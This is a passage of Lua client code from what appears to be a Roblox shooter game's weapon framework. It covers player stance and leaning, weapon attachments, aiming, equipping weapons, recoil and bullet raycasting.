Lean() Prone() Crouched = false Proned = true end end if actionName == "ToggleWalk" and inputState == Enum.UserInputState.Begin and ChangeStance and not runKeyDown then Steady = not Steady SE_GUI.MainFrame.Poses.Steady.Visible = Steady if Stances == 0 then Stand() end end if actionName == "LeanLeft" and inputState == Enum.UserInputState.Begin and Stances ~= 2 and ChangeStance and not Swimming and not runKeyDown and CanLean and not ACS_Client:GetAttribute("Collapsed") then if Virar == 0 or Virar == 1 then Virar = -1 CameraX = -1.25 else Virar = 0 CameraX = 0 end Lean() end if actionName == "LeanRight" and inputState == Enum.UserInputState.Begin and Stances ~= 2 and ChangeStance and not Swimming and not runKeyDown and CanLean and not ACS_Client:GetAttribute("Collapsed") then if Virar == 0 or Virar == -1 then Virar = 1 CameraX = 1.25 else Virar = 0 CameraX = 0 end Lean() end if actionName == "Run" and inputState == Enum.UserInputState.Begin and running and not script.Parent:GetAttribute("Injured") then mouse1down = false runKeyDown = true Stand() Stances = 0 Virar = 0 CameraX = 0 CameraY = 0 Lean() --SetWalkSpeed(gameRules.RunWalkSpeed) if aimming then aimming = false ADS(aimming) end if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then GunStance = 3 Evt.GunStance:FireServer(GunStance,AnimData) SprintAnim() end elseif actionName == "Run" and inputState == Enum.UserInputState.End and runKeyDown then runKeyDown = false Stand() if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) IdleAnim() end end end function resetMods() ModTable.camRecoilMod.RecoilUp = 1 ModTable.camRecoilMod.RecoilLeft = 1 ModTable.camRecoilMod.RecoilRight = 1 ModTable.camRecoilMod.RecoilTilt = 1 ModTable.gunRecoilMod.RecoilUp = 1 ModTable.gunRecoilMod.RecoilTilt = 1 ModTable.gunRecoilMod.RecoilLeft = 1 ModTable.gunRecoilMod.RecoilRight = 1 ModTable.AimRM = 1 ModTable.SpreadRM = 1 ModTable.DamageMod = 1 ModTable.minDamageMod = 1 ModTable.MinRecoilPower = 1 ModTable.MaxRecoilPower = 1 ModTable.RecoilPowerStepAmount = 1 ModTable.MinSpread = 1 ModTable.MaxSpread = 1 ModTable.AimInaccuracyStepAmount = 1 ModTable.AimInaccuracyDecrease = 1 ModTable.WalkMult = 1 ModTable.MuzzleVelocity = 1 end function setMods(ModData) ModTable.camRecoilMod.RecoilUp = ModTable.camRecoilMod.RecoilUp * ModData.camRecoil.RecoilUp ModTable.camRecoilMod.RecoilLeft = ModTable.camRecoilMod.RecoilLeft * ModData.camRecoil.RecoilLeft ModTable.camRecoilMod.RecoilRight = ModTable.camRecoilMod.RecoilRight * ModData.camRecoil.RecoilRight ModTable.camRecoilMod.RecoilTilt = ModTable.camRecoilMod.RecoilTilt * ModData.camRecoil.RecoilTilt ModTable.gunRecoilMod.RecoilUp = ModTable.gunRecoilMod.RecoilUp * ModData.gunRecoil.RecoilUp ModTable.gunRecoilMod.RecoilTilt = ModTable.gunRecoilMod.RecoilTilt * ModData.gunRecoil.RecoilTilt ModTable.gunRecoilMod.RecoilLeft = ModTable.gunRecoilMod.RecoilLeft * ModData.gunRecoil.RecoilLeft ModTable.gunRecoilMod.RecoilRight = ModTable.gunRecoilMod.RecoilRight * ModData.gunRecoil.RecoilRight ModTable.AimRM = ModTable.AimRM * ModData.AimRecoilReduction ModTable.SpreadRM = ModTable.SpreadRM * ModData.AimSpreadReduction ModTable.DamageMod = ModTable.DamageMod * ModData.DamageMod ModTable.minDamageMod = ModTable.minDamageMod * ModData.minDamageMod ModTable.MinRecoilPower = ModTable.MinRecoilPower * ModData.MinRecoilPower ModTable.MaxRecoilPower = ModTable.MaxRecoilPower * ModData.MaxRecoilPower ModTable.RecoilPowerStepAmount = ModTable.RecoilPowerStepAmount * ModData.RecoilPowerStepAmount ModTable.MinSpread = ModTable.MinSpread * ModData.MinSpread ModTable.MaxSpread = ModTable.MaxSpread * ModData.MaxSpread ModTable.AimInaccuracyStepAmount = ModTable.AimInaccuracyStepAmount * ModData.AimInaccuracyStepAmount ModTable.AimInaccuracyDecrease = ModTable.AimInaccuracyDecrease * ModData.AimInaccuracyDecrease ModTable.WalkMult = ModTable.WalkMult * ModData.WalkMult ModTable.MuzzleVelocity = ModTable.MuzzleVelocity * ModData.MuzzleVelocityMod end function loadAttachment(weapon) if not weapon or not weapon:FindFirstChild("Nodes") then return; end; --load sight Att if weapon.Nodes:FindFirstChild("Sight") and WeaponData.SightAtt ~= "" then SightData = require(AttModules[WeaponData.SightAtt]) SightAtt = AttModels[WeaponData.SightAtt]:Clone() SightAtt.Parent = weapon SightAtt:SetPrimaryPartCFrame(weapon.Nodes.Sight.CFrame) weapon.AimPart.CFrame = SightAtt.AimPos.CFrame reticle = SightAtt.SightMark.SurfaceGui.Border.Scope if SightData.SightZoom > 0 then ModTable.ZoomValue = SightData.SightZoom end if SightData.SightZoom2 > 0 then ModTable.Zoom2Value = SightData.SightZoom2 end setMods(SightData) for index, key in pairs(weapon:GetChildren()) do if key.Name ~= "IS" then continue; end; key.Transparency = 1 end for index, key in pairs(SightAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end --load Barrel Att if weapon.Nodes:FindFirstChild("Barrel") ~= nil and WeaponData.BarrelAtt ~= "" then BarrelData = require(AttModules[WeaponData.BarrelAtt]) BarrelAtt = AttModels[WeaponData.BarrelAtt]:Clone() BarrelAtt.Parent = weapon BarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.Barrel.CFrame) if BarrelAtt:FindFirstChild("BarrelPos") ~= nil then weapon.Handle.Muzzle.WorldCFrame = BarrelAtt.BarrelPos.CFrame end Suppressor = BarrelData.IsSuppressor FlashHider = BarrelData.IsFlashHider setMods(BarrelData) for index, key in pairs(BarrelAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end --load Under Barrel Att if weapon.Nodes:FindFirstChild("UnderBarrel") ~= nil and WeaponData.UnderBarrelAtt ~= "" then UnderBarrelData = require(AttModules[WeaponData.UnderBarrelAtt]) UnderBarrelAtt = AttModels[WeaponData.UnderBarrelAtt]:Clone() UnderBarrelAtt.Parent = weapon UnderBarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.UnderBarrel.CFrame) setMods(UnderBarrelData) BipodAtt = UnderBarrelData.IsBipod if BipodAtt then CAS:BindAction("ToggleBipod", handleAction, true, gameRules.ToggleBipod) end for index, key in pairs(UnderBarrelAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end if weapon.Nodes:FindFirstChild("Other") ~= nil and WeaponData.OtherAtt ~= "" then OtherData = require(AttModules[WeaponData.OtherAtt]) OtherAtt = AttModels[WeaponData.OtherAtt]:Clone() OtherAtt.Parent = weapon OtherAtt:SetPrimaryPartCFrame(weapon.Nodes.Other.CFrame) setMods(OtherData) LaserAtt = OtherData.EnableLaser TorchAtt = OtherData.EnableFlashlight if OtherData.InfraRed then IREnable = true end for index, key in pairs(OtherAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end end function SetLaser() if gameRules.RealisticLaser and IREnable then if not LaserActive and not IRmode then LaserActive = true IRmode = true elseif LaserActive and IRmode then IRmode = false else LaserActive = false IRmode = false end else LaserActive = not LaserActive end WeaponInHand.Handle.Click:play() UpdateGui() if LaserActive then if Pointer then return; end; for index, Key in pairs(WeaponInHand:GetDescendants()) do if not Key:IsA("BasePart") or Key.Name ~= "LaserPoint" then continue; end; local LaserPointer = Instance.new('Part',Key) LaserPointer.Shape = 'Ball' LaserPointer.Size = Vector3.new(0.2, 0.2, 0.2) LaserPointer.CanCollide = false LaserPointer.Color = Key.Color LaserPointer.Material = Enum.Material.Neon local LaserSP = Instance.new('Attachment',Key) local LaserEP = Instance.new('Attachment',LaserPointer) local Laser = Instance.new('Beam',LaserPointer) Laser.Transparency = NumberSequence.new(0) Laser.LightEmission = 1 Laser.LightInfluence = 1 Laser.Attachment0 = LaserSP Laser.Attachment1 = LaserEP Laser.Color = ColorSequence.new(Key.Color) Laser.FaceCamera = true Laser.Width0 = 0.01 Laser.Width1 = 0.01 if gameRules.RealisticLaser then Laser.Enabled = false end Pointer = LaserPointer break end else for index, Key in pairs(WeaponInHand:GetDescendants()) do if not Key:IsA("BasePart") or Key.Name ~= "LaserPoint" then continue; end; Key:ClearAllChildren() break end Pointer = nil if gameRules.ReplicatedLaser then Evt.SVLaser:FireServer(nil,2,nil,false,WeaponTool) end end end function SetTorch() TorchActive = not TorchActive for index, Key in pairs(WeaponInHand:GetDescendants()) do if not Key:IsA("BasePart") or Key.Name ~= "FlashPoint" then continue; end; Key.Light.Enabled = TorchActive end Evt.SVFlash:FireServer(WeaponTool,TorchActive) WeaponInHand.Handle.Click:play() UpdateGui() end function ToggleADS(Type) local ADSTween if WeaponData.adsTime then ADSTween = TweenInfo.new(WeaponData.adsTime / 20,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false,WeaponData.adsTime / 20) else ADSTween = TweenInfo.new(0.2,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false,0.2) end if Type == "REG" then for _, child in pairs(WeaponInHand:GetChildren()) do if child.Name == "REG" then TS:Create(child, ADSTween, {Transparency = 0}):Play() elseif child.Name == "ADS" then TS:Create(child, ADSTween, {Transparency = 1}):Play() end end elseif Type == "ADS" then for _, child in pairs(WeaponInHand:GetChildren()) do if child.Name == "REG" then TS:Create(child, ADSTween, {Transparency = 1}):Play() elseif child.Name == "ADS" then TS:Create(child, ADSTween, {Transparency = 0}):Play() end end end end function ADS(aimming) if not WeaponData or not WeaponInHand then return; end; if aimming then if SafeMode then SafeMode = false GunStance = 0 IdleAnim() UpdateGui() end game:GetService('UserInputService').MouseDeltaSensitivity = (Sens/100) WeaponInHand.Handle.AimDown:Play() if WeaponData.ADSEnabled then if WeaponData.ADSEnabled[AimPartMode] then ToggleADS("ADS") end else ToggleADS("ADS") end GunStance = 2 Evt.GunStance:FireServer(GunStance,AnimData) TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play() else game:GetService('UserInputService').MouseDeltaSensitivity = 1 WeaponInHand.Handle.AimUp:Play() ToggleADS("REG") GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) if WeaponData.CrossHair then TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() end if WeaponData.CenterDot then TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 0}):Play() else TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play() end end end function SetAimpart() if aimming then if AimPartMode == 1 then AimPartMode = 2 if WeaponInHand:FindFirstChild('AimPart2') then CurAimpart = WeaponInHand:FindFirstChild('AimPart2') end else AimPartMode = 1 CurAimpart = WeaponInHand:FindFirstChild('AimPart') end --print("Set to Aimpart: "..AimPartMode) if WeaponData.ADSEnabled then if WeaponData.ADSEnabled[AimPartMode] then ToggleADS("ADS") else ToggleADS("REG") end end end end function Firemode() WeaponInHand.Handle.SafetyClick:Play() mouse1down = false ---Semi Settings--- if WeaponData.ShootType == 1 and WeaponData.FireModes.Burst == true then WeaponData.ShootType = 2 elseif WeaponData.ShootType == 1 and WeaponData.FireModes.Burst == false and WeaponData.FireModes.Auto == true then WeaponData.ShootType = 3 ---Burst Settings--- elseif WeaponData.ShootType == 2 and WeaponData.FireModes.Auto == true then WeaponData.ShootType = 3 elseif WeaponData.ShootType == 2 and WeaponData.FireModes.Semi == true and WeaponData.FireModes.Auto == false then WeaponData.ShootType = 1 ---Auto Settings--- elseif WeaponData.ShootType == 3 and WeaponData.FireModes.Semi == true then WeaponData.ShootType = 1 elseif WeaponData.ShootType == 3 and WeaponData.FireModes.Semi == false and WeaponData.FireModes.Burst == true then WeaponData.ShootType = 2 ---Explosive Settings--- end UpdateGui() end function setup(Tool) if not char or not Tool or not char:FindFirstChild("Humanoid") or char.Humanoid.Health <= 0 then return; end; local ToolCheck = Tool local GunModelCheck = GunModels:FindFirstChild(Tool.Name) if not ToolCheck or not GunModelCheck then warn("Tool Or Gun Model Doesn't Exist") return; end; ToolEquip = true User.MouseIconEnabled = false plr.CameraMode = Enum.CameraMode.LockFirstPerson WeaponTool = ToolCheck if WeaponTool then PreviousTool = WeaponTool canDrop = true end WeaponData = require(Tool:FindFirstChild("ACS_Settings")) AnimData = require(Tool:FindFirstChild("ACS_Animations")) WeaponInHand = GunModelCheck:Clone() WeaponInHand.PrimaryPart = WeaponInHand:WaitForChild("Handle") Evt.Equip:FireServer(Tool,1,WeaponData,AnimData) if WeaponData.Type == "Gun" then WeaponInHand.Handle.AimDown:Play() RepValues = Tool:WaitForChild("RepValues") end ViewModel = ArmModel:WaitForChild("Arms"):Clone() ViewModel.Name = "Viewmodel" if char:WaitForChild("Body Colors") then local Colors = char:WaitForChild("Body Colors"):Clone() Colors.Parent = ViewModel end if char:FindFirstChild("Shirt") then local Shirt = char:FindFirstChild("Shirt"):Clone() Shirt.Parent = ViewModel end AnimPart = Instance.new("Part",ViewModel) AnimPart.Size = Vector3.new(0.1,0.1,0.1) AnimPart.Anchored = true AnimPart.CanCollide = false AnimPart.Transparency = 1 ViewModel.PrimaryPart = AnimPart LArmWeld = Instance.new("Motor6D",AnimPart) LArmWeld.Name = "LeftArm" LArmWeld.Part0 = AnimPart RArmWeld = Instance.new("Motor6D",AnimPart) RArmWeld.Name = "RightArm" RArmWeld.Part0 = AnimPart GunWeld = Instance.new("Motor6D",AnimPart) GunWeld.Name = "Handle" --setup arms to camera ViewModel.Parent = cam maincf = AnimData.MainCFrame guncf = AnimData.GunCFrame larmcf = AnimData.LArmCFrame rarmcf = AnimData.RArmCFrame if WeaponData.CrossHair then TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() if WeaponData.Bullets > 1 then Crosshair.Up.Rotation = 90 Crosshair.Down.Rotation = 90 Crosshair.Left.Rotation = 90 Crosshair.Right.Rotation = 90 else Crosshair.Up.Rotation = 0 Crosshair.Down.Rotation = 0 Crosshair.Left.Rotation = 0 Crosshair.Right.Rotation = 0 end else TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() end if WeaponData.CenterDot then TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 0}):Play() else TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play() end LArm = ViewModel:WaitForChild("Left Arm") LArmWeld.Part1 = LArm LArmWeld.C0 = CFrame.new() LArmWeld.C1 = CFrame.new(1,-1,-5) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)):inverse() RArm = ViewModel:WaitForChild("Right Arm") RArmWeld.Part1 = RArm RArmWeld.C0 = CFrame.new() RArmWeld.C1 = CFrame.new(-1,-1,-5) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)):inverse() GunWeld.Part0 = RArm LArm.Anchored = false RArm.Anchored = false --setup weapon to camera ModTable.ZoomValue = WeaponData.Zoom ModTable.Zoom2Value = WeaponData.Zoom2 IREnable = WeaponData.InfraRed CAS:BindAction("Fire", handleAction, true, Enum.UserInputType.MouseButton1, Enum.KeyCode.ButtonR2) CAS:BindAction("ADS", handleAction, true, Enum.UserInputType.MouseButton2, Enum.KeyCode.ButtonL2) CAS:BindAction("Reload", handleAction, true, gameRules.Reload, Enum.KeyCode.ButtonB) CAS:BindAction("CycleAimpart", handleAction, false, gameRules.SwitchSights) CAS:BindAction("CycleLaser", handleAction, true, gameRules.ToggleLaser) CAS:BindAction("CycleLight", handleAction, true, gameRules.ToggleLight) CAS:BindAction("CycleFiremode", handleAction, false, gameRules.FireMode) CAS:BindAction("CheckMag", handleAction, false, gameRules.CheckMag) CAS:BindAction("ZeroDown", handleAction, false, gameRules.ZeroDown) CAS:BindAction("ZeroUp", handleAction, false, gameRules.ZeroUp) CAS:BindAction("DropWeapon", handleAction, true, gameRules.DropGun) loadAttachment(WeaponInHand) BSpread = math.min(WeaponData.MinSpread * ModTable.MinSpread, WeaponData.MaxSpread * ModTable.MaxSpread) RecoilPower = math.min(WeaponData.MinRecoilPower * ModTable.MinRecoilPower, WeaponData.MaxRecoilPower * ModTable.MaxRecoilPower) if RepValues then Ammo = RepValues.Mag.Value StoredAmmo = RepValues.StoredAmmo.Value else Ammo = WeaponData.Ammo StoredAmmo = WeaponData.StoredAmmo end CurAimpart = WeaponInHand:FindFirstChild("AimPart") for _, cPart in pairs(WeaponInHand:GetChildren()) do if cPart.Name == "Warhead" and Ammo < 1 then cPart.Transparency = 1 end end for index, Key in pairs(WeaponInHand:GetDescendants()) do if Key:IsA("BasePart") and Key.Name == "FlashPoint" then TorchAtt = true end if Key:IsA("BasePart") and Key.Name == "LaserPoint" then LaserAtt = true end end if WeaponData.Type == "Gun" and WeaponData.ShellEjectionMod then WeaponInHand.Bolt.SlidePull.Played:Connect(function() --print(canPump) if Ammo > 0 or canPump then CreateShell(WeaponData.BulletType,WeaponInHand.Handle.Chamber) WeaponInHand.Handle.Chamber.Smoke:Emit(10) canPump = false end end) end if WeaponData.EnableHUD then SE_GUI.GunHUD.Visible = true end UpdateGui() for index, key in pairs(WeaponInHand:GetChildren()) do if key:IsA('BasePart') and key.Name ~= 'Handle' then if key.Name ~= "Bolt" and key.Name ~= 'Lid' and key.Name ~= "Slide" then Ultil.Weld(WeaponInHand:WaitForChild("Handle"), key) end if key.Name == "Bolt" or key.Name == "Slide" then Ultil.WeldComplex(WeaponInHand:WaitForChild("Handle"), key, key.Name) end; if key.Name == "Lid" then if WeaponInHand:FindFirstChild('LidHinge') then Ultil.Weld(key, WeaponInHand:WaitForChild("LidHinge")) else Ultil.Weld(key, WeaponInHand:WaitForChild("Handle")) end end end end; for L_213_forvar1, L_214_forvar2 in pairs(WeaponInHand:GetChildren()) do if L_214_forvar2:IsA('BasePart') then L_214_forvar2.Anchored = false L_214_forvar2.CanCollide = false end end; if WeaponInHand:FindFirstChild("Nodes") then for L_213_forvar1, L_214_forvar2 in pairs(WeaponInHand.Nodes:GetChildren()) do if L_214_forvar2:IsA('BasePart') then Ultil.Weld(WeaponInHand:WaitForChild("Handle"), L_214_forvar2) L_214_forvar2.Anchored = false L_214_forvar2.CanCollide = false end end; end GunWeld.Part1 = WeaponInHand:WaitForChild("Handle") GunWeld.C1 = guncf --WeaponInHand:SetPrimaryPartCFrame( RArm.CFrame * guncf) WeaponInHand.Parent = ViewModel if Ammo <= 0 and WeaponData.Type == "Gun" then WeaponInHand.Handle.Slide.C0 = WeaponData.SlideEx:inverse() end EquipAnim() if WeaponData and WeaponData.Type ~= "Grenade" then RunCheck() end end function unset() ToolEquip = false Evt.Equip:FireServer(WeaponTool,2) --unsetup weapon data module CAS:UnbindAction("Fire") CAS:UnbindAction("ADS") CAS:UnbindAction("Reload") CAS:UnbindAction("CycleLaser") CAS:UnbindAction("CycleLight") CAS:UnbindAction("CycleFiremode") CAS:UnbindAction("CycleAimpart") CAS:UnbindAction("ZeroUp") CAS:UnbindAction("ZeroDown") CAS:UnbindAction("CheckMag") mouse1down = false aimming = false TS:Create(cam,AimTween,{FieldOfView = 70}):Play() TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play() User.MouseIconEnabled = true game:GetService('UserInputService').MouseDeltaSensitivity = 1 cam.CameraType = Enum.CameraType.Custom plr.CameraMode = Enum.CameraMode.Classic if WeaponInHand then if WeaponData.Type == "Gun" then local chambered = true if WeaponData.Jammed or Ammo < 1 then chambered = false end Evt.RepAmmo:FireServer(WeaponTool,Ammo,StoredAmmo,WeaponData.Jammed) --WeaponData.AmmoInGun = Ammo --WeaponData.StoredAmmo = StoredAmmo end ViewModel:Destroy() ViewModel = nil WeaponInHand = nil WeaponTool = nil LArm = nil RArm = nil LArmWeld = nil RArmWeld = nil WeaponData = nil AnimData = nil SightAtt = nil reticle = nil BarrelAtt = nil UnderBarrelAtt = nil OtherAtt = nil LaserAtt = false LaserActive = false IRmode = false TorchAtt = false TorchActive = false BipodAtt = false BipodActive = false LaserDist = 0 Pointer = nil BSpread = nil RecoilPower = nil Suppressor = false FlashHider = false CancelReload = false reloading = false SafeMode = false CheckingMag = false GRDebounce = false CookGrenade = false GunStance = 0 resetMods() generateBullet = 1 AimPartMode = 1 SE_GUI.GunHUD.Visible = false SE_GUI.GrenadeForce.Visible = false BipodCF = CFrame.new() if gameRules.ReplicatedLaser then Evt.SVLaser:FireServer(nil,2,nil,false,WeaponTool) end end --if runKeyDown then -- SetWalkSpeed(gameRules.RunWalkSpeed) --elseif Crouched then -- SetWalkSpeed(gameRules.CrouchWalkSpeed) --elseif Proned then -- SetWalkSpeed(gameRules.ProneWalkSpeed) --elseif Steady then -- SetWalkSpeed(gameRules.SlowPaceWalkSpeed) --else -- SetWalkSpeed(gameRules.NormalWalkSpeed) --end RepValues = nil end local HalfStep = false function HeadMovement() if gameRules.HeadMovement or WeaponInHand then if not char:FindFirstChild("HumanoidRootPart") or not char:FindFirstChild("Humanoid") or char.Humanoid.Health <= 0 then return; end; if char.Humanoid.RigType == Enum.HumanoidRigType.R15 then return; end; if not ACS_Client or ACS_Client:GetAttribute("Collapsed") then return; end; local CameraDirection = char.HumanoidRootPart.CFrame:toObjectSpace(cam.CFrame).lookVector if Neck then HalfStep = not HalfStep local neckCFrame = CFNew(0, -.5, 0) * CFAng(0, Asin(CameraDirection.x)/1.15, 0) * CFAng(-Asin(cam.CFrame.LookVector.y)+Asin(char.Torso.CFrame.lookVector.Y), 0, 0) * CFAng(-math.rad(90), 0, math.rad(180)) TS:Create(Neck, TweenInfo.new(.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0), {C1 = neckCFrame}):Play() if not HalfStep then return; end; Evt.HeadRot:FireServer(neckCFrame) end elseif not gameRules.HeadMovement then local neckCFrame = CFrame.new(0,-0.5,0) * CFrame.Angles(math.rad(90),math.rad(180),0) TS:Create(Neck, TweenInfo.new(.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0), {C1 = neckCFrame}):Play() Evt.HeadRot:FireServer(neckCFrame) end end function renderCam() cam.CFrame = cam.CFrame*CFrame.Angles(cameraspring.p.x,cameraspring.p.y,cameraspring.p.z) end function renderGunRecoil() recoilcf = recoilcf*CFrame.Angles(RecoilSpring.p.x,RecoilSpring.p.y,RecoilSpring.p.z) end function Recoil() local vr = (math.random(WeaponData.camRecoil.camRecoilUp[1], WeaponData.camRecoil.camRecoilUp[2])/2) * ModTable.camRecoilMod.RecoilUp local lr = (math.random(WeaponData.camRecoil.camRecoilLeft[1], WeaponData.camRecoil.camRecoilLeft[2])) * ModTable.camRecoilMod.RecoilLeft local rr = (math.random(WeaponData.camRecoil.camRecoilRight[1], WeaponData.camRecoil.camRecoilRight[2])) * ModTable.camRecoilMod.RecoilRight local hr = (math.random(-rr, lr)/2) local tr = (math.random(WeaponData.camRecoil.camRecoilTilt[1], WeaponData.camRecoil.camRecoilTilt[2])/2) * ModTable.camRecoilMod.RecoilTilt local RecoilX = math.rad(vr * RAND( 1, 1, .1)) local RecoilY = math.rad(hr * RAND(-1, 1, .1)) local RecoilZ = math.rad(tr * RAND(-1, 1, .1)) local gvr = (math.random(WeaponData.gunRecoil.gunRecoilUp[1], WeaponData.gunRecoil.gunRecoilUp[2]) /10) * ModTable.gunRecoilMod.RecoilUp local gdr = (math.random(-1,1) * math.random(WeaponData.gunRecoil.gunRecoilTilt[1], WeaponData.gunRecoil.gunRecoilTilt[2]) /10) * ModTable.gunRecoilMod.RecoilTilt local glr = (math.random(WeaponData.gunRecoil.gunRecoilLeft[1], WeaponData.gunRecoil.gunRecoilLeft[2])) * ModTable.gunRecoilMod.RecoilLeft local grr = (math.random(WeaponData.gunRecoil.gunRecoilRight[1], WeaponData.gunRecoil.gunRecoilRight[2])) * ModTable.gunRecoilMod.RecoilRight local ghr = (math.random(-grr, glr)/10) local ARR = WeaponData.AimRecoilReduction * ModTable.AimRM if BipodActive then cameraspring:accelerate(Vector3.new( RecoilX, RecoilY/2, 0 )) if not aimming then RecoilSpring:accelerate(Vector3.new( math.rad(.25 * gvr * RecoilPower), math.rad(.25 * ghr * RecoilPower), math.rad(.25 * gdr))) recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad(.25 * gvr * RecoilPower ),math.rad(.25 * ghr * RecoilPower ),math.rad(.25 * gdr * RecoilPower )) else RecoilSpring:accelerate(Vector3.new( math.rad( .25 * gvr * RecoilPower/ARR) , math.rad(.25 * ghr * RecoilPower/ARR), math.rad(.25 * gdr/ ARR))) recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad(.25 * gvr * RecoilPower/ARR ),math.rad(.25 * ghr * RecoilPower/ARR ),math.rad(.25 * gdr * RecoilPower/ARR )) end Thread:Wait(0.05) cameraspring:accelerate(Vector3.new(-RecoilX, -RecoilY/2, 0)) else cameraspring:accelerate(Vector3.new( RecoilX , RecoilY, RecoilZ )) if not aimming then RecoilSpring:accelerate(Vector3.new( math.rad(gvr * RecoilPower), math.rad(ghr * RecoilPower), math.rad(gdr))) recoilcf = recoilcf * CFrame.new(0,-0.05,.1) * CFrame.Angles( math.rad( gvr * RecoilPower ),math.rad( ghr * RecoilPower ),math.rad( gdr * RecoilPower )) else RecoilSpring:accelerate(Vector3.new( math.rad(gvr * RecoilPower/ARR) , math.rad(ghr * RecoilPower/ARR), math.rad(gdr/ ARR))) recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad( gvr * RecoilPower/ARR ),math.rad( ghr * RecoilPower/ARR ),math.rad( gdr * RecoilPower/ARR )) end end end function CheckForHumanoid(L_225_arg1) local L_226_ = false local L_227_ = nil if L_225_arg1 then if (L_225_arg1.Parent:FindFirstChildOfClass("Humanoid") or L_225_arg1.Parent.Parent:FindFirstChildOfClass("Humanoid")) then L_226_ = true if L_225_arg1.Parent:FindFirstChildOfClass('Humanoid') then L_227_ = L_225_arg1.Parent:FindFirstChildOfClass('Humanoid') elseif L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid') then L_227_ = L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid') end else L_226_ = false end end return L_226_, L_227_ end function CastRay(Bullet, Origin) if not Bullet then return; end; local Bpos = Bullet.Position local Bpos2 = cam.CFrame.Position local recast = false local TotalDistTraveled = 0 local Debounce = false local raycastResult local raycastParams = RaycastParams.new() raycastParams.FilterDescendantsInstances = Ignore_Model raycastParams.FilterType = Enum.RaycastFilterType.Blacklist raycastParams.IgnoreWater = true while Bullet do Run.Heartbeat:Wait() if not Bullet.Parent then break; end; Bpos = Bullet.Position TotalDistTraveled = (Bullet.Position - Origin).Magnitude if TotalDistTraveled > 7000 then Bullet:Destroy() Debounce = true break end for _, plyr in pairs(game.Players:GetPlayers()) do if Debounce or plyr == plr or not plyr.Character or not plyr.Character:FindFirstChild('Head') or (plyr.Character.Head.Position - Bpos).magnitude > 25 then continue; end; 